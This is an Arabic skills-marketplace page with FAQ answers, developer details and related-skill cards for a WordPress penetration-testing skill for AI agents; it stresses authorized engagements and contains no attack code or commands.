تستخدم العديد من مسارات العمل WPScan. تستخدم بعض الفحوصات اليدوية cURL أو مراجعة المتصفح أو أدوات الوكيل.
هل يمكنها التحقق من ثغرات الإضافات؟
يمكنها توجيه جمع الأدلة والفرز. يظل التحقق اليدوي مطلوبا قبل الإبلاغ عن الأثر.
هل يمكنها المساعدة في كتابة تقرير للعميل؟
نعم. يمكنها تنظيم النتائج والأدلة والشدة والأثر والمعالجة وخطوات إعادة الاختبار.
ما المخاطر التي تنطوي عليها هذه المهارة؟
تتضمن مفاهيم اختبار هجومي. قد يؤدي سوء الاستخدام إلى وصول غير مصرح به أو تعطيل الخدمة أو ضرر قانوني.
هل يجب استخدامها على مواقع الإنتاج؟
فقط ضمن مشاركة معتمدة مع توقيت آمن وحدود معدل ونسخ احتياطية ووعي أصحاب المصلحة.
تفاصيل المطور
المؤلف
sickn33الترخيص
MIT
إصدار المؤلف
v1.1
مراجعة Skillstore
r1
تنبيه الإصدار
الإصدار الذي أعلنه المؤلف ليس SemVer صالحًا.
المستودع
https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/wordpress-penetration-testingمرجع
3e4b6c31a74a3bd1a291c98cf585d720cb9fbc88
حداثة الصيانة
٢٢/٧/٢٠٢٦
الاستخدام
8 تنزيلات · 158 مشاهدات
بنية الملفات
📄 SKILL.md
المزيد من sickn33
عرض الكل📦
prompt-engineering-patterns
85حسّن مطالبات LLM باستخدام أنماط مثبتة
تستهلك المطالبات غير المتسقة الوقت وتجعل مخرجات الذكاء الاصطناعي صعبة الثقة. ترشد هذه المهارة تصميم المطالبات باستخدام أنماط قابلة لإعادة الاستخدام، وأمثلة، وخطوات تقييم، وسير عمل للتحسين.
الإنتاجية عرض
📦
senior-architect
81تصميم معماريات برمجية قابلة للتوسع
يصعب مقارنة قرارات المعمارية عبر أنظمة الويب والهواتف المحمولة والخلفية والسحابة. توفر هذه المهارة أدلة منظمة وسكربتات تمهيدية محلية للتقارير ومراجعة الاعتماديات وتوثيق المفاضلات.
البرمجة والتطوير عرض
📦
senior-fullstack
81بناء تطبيقات Fullstack بأنماط هندسية متقدمة
تحتاج الفرق إلى إرشادات متسقة للإعداد والبنية والمراجعة لتطبيقات الويب الحديثة. توفر هذه المهارة أدوات إنشاء هياكل أولية، ومراجع لسير العمل، ومطالبات للجودة لمشاريع React وNext.js وNode.js وGraphQL وPostgreSQL.
البرمجة والتطوير عرض
📦
prompt-engineer
81حسّن موجهات الذكاء الاصطناعي باستخدام Prompt Engineer
كتابة موجهات واضحة صعبة عندما تكون الأهداف غامضة أو معقدة. تحوّل هذه المهارة الطلبات الأولية إلى موجهات منظمة باستخدام أطر عمل مثبتة للموجهات.
الإنتاجية عرض
📦
product-manager-toolkit
80رتّب أولويات عمل المنتج باستخدام رؤى البحث
تحتاج فرق المنتج إلى طرق أسرع لترتيب الميزات، وتلخيص المقابلات، وتوثيق القرارات. توفر هذه المهارة تسجيل RICE، وتحليل المقابلات، وقوالب PRD للتخطيط المنظم.
الإنتاجية عرض
مهارات ذات صلة
عرض الكل📦
security-audit
79تدقيق التطبيقات بحثا عن مخاطر أمنية
بواسطة 89jobrien
قد تفوّت مراجعات الأمان ثغرات شائعة عندما يكون النطاق ودرجة الخطورة وخطة المعالجة غير واضحة. ترشد هذه المهارة عمليات تدقيق منظمة باستخدام فحوصات OWASP وتقييم CVSS وقوالب التقارير.
الأمان والامتثال عرض
📦
security-report
78إنشاء تقارير تقييم أمني
بواسطة BytR-Ecosystems
يصعب عرض النتائج الأمنية بوضوح على المديرين التنفيذيين والفرق التقنية. تنشئ هذه المهارة تقارير DOCX منظمة تتضمن تصنيفات للمخاطر وإرشادات للمعالجة.
الأمان والامتثال عرض
📦
senior-security
81تعزيز مراجعات أمان التطبيقات
بواسطة alirezarezvani
غالبًا ما تفتقر مراجعات الأمان إلى قوائم تحقق متسقة وسير عمل قابل لإعادة الاستخدام. توفر هذه المهارة قوالب تمهيدية لمراجعات الأمان، وإرشادات مرجعية، وسكربتات تقارير بسيطة لـ Claude وCodex وClaude Code.
الأمان والامتثال عرض
📦
skill-check
80التحقق من مهارات الوكلاء قبل الإصدار
بواسطة JckJhns
يحتاج مؤلفو المهارات إلى دليل يثبت أن المهارة تعمل ولا تعرض المستخدمين لمخاطر يمكن تجنبها. يراجع SkillCheck البنية، والأمان، وevals، والسكربتات، والمخرجات من خلال فحوصات متدرجة.
الأمان والامتثال عرض
📦
azure-compliance
79تدقيق امتثال Azure وانتهاء صلاحية Key Vault
بواسطة microsoft
تحتاج فرق Azure إلى نتائج امتثال واضحة قبل أن تتحول المخاطر إلى انقطاعات. تشغّل هذه المهارة عمليات تدقيق محددة النطاق وتحول النتائج إلى إجراءات مرتبة حسب الأولوية.
الأمان والامتثال عرض
📦
security-sentinel
79تدقيق الكود بحثًا عن مخاطر أمنية
بواسطة Barnhardt-Enterprises-Inc
من السهل شحن الكود الحساس أمنيًا مع عيوب خفية في المصادقة ومعالجة المدخلات والأسرار. تمنح هذه المهارة Claude وCodex وClaude Code مراجع أمنية منظمة وإرشادات للماسحات لإجراء مراجعات أكثر أمانًا.
الأمان والامتثال عرض